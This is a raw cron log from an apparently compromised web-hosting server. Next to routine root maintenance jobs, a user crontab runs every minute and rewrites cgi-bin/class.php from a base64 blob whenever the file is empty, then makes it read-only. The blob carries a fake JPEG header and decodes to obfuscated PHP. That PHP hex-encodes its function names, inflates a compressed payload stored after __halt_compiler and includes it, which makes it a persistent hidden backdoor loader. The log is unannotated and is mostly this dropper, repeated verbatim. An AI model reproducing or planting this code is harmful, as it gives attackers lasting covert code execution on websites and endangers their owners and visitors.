Nov 14 00:28:01 server CROND[32118]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 00:29:01 server CROND[624]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 00:30:01 server CROND[1492]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache &amp;&amp; /usr/local/cpanel/scripts/update_db_cache)
Nov 14 00:30:01 server CROND[1493]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 00:30:01 server CROND[1495]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 00:30:01 server CROND[1494]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 00:30:01 server CROND[1499]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 00:31:01 server CROND[2428]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 00:32:01 server CROND[3002]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 00:33:01 server CROND[3862]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 00:34:01 server CROND[4720]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 00:35:01 server CROND[5665]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 00:35:01 server CROND[5668]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 00:35:01 server CROND[5669]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 00:35:01 server CROND[5667]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 00:35:01 server CROND[5666]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 14 00:36:01 server CROND[6589]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 00:37:01 server CROND[7501]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 00:38:01 server CROND[8302]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 00:39:01 server CROND[9324]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 00:39:01 server CROND[9325]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 14 00:40:01 server CROND[10290]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 00:40:01 server CROND[10293]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 00:40:01 server CROND[10295]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 00:40:01 server CROND[10294]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
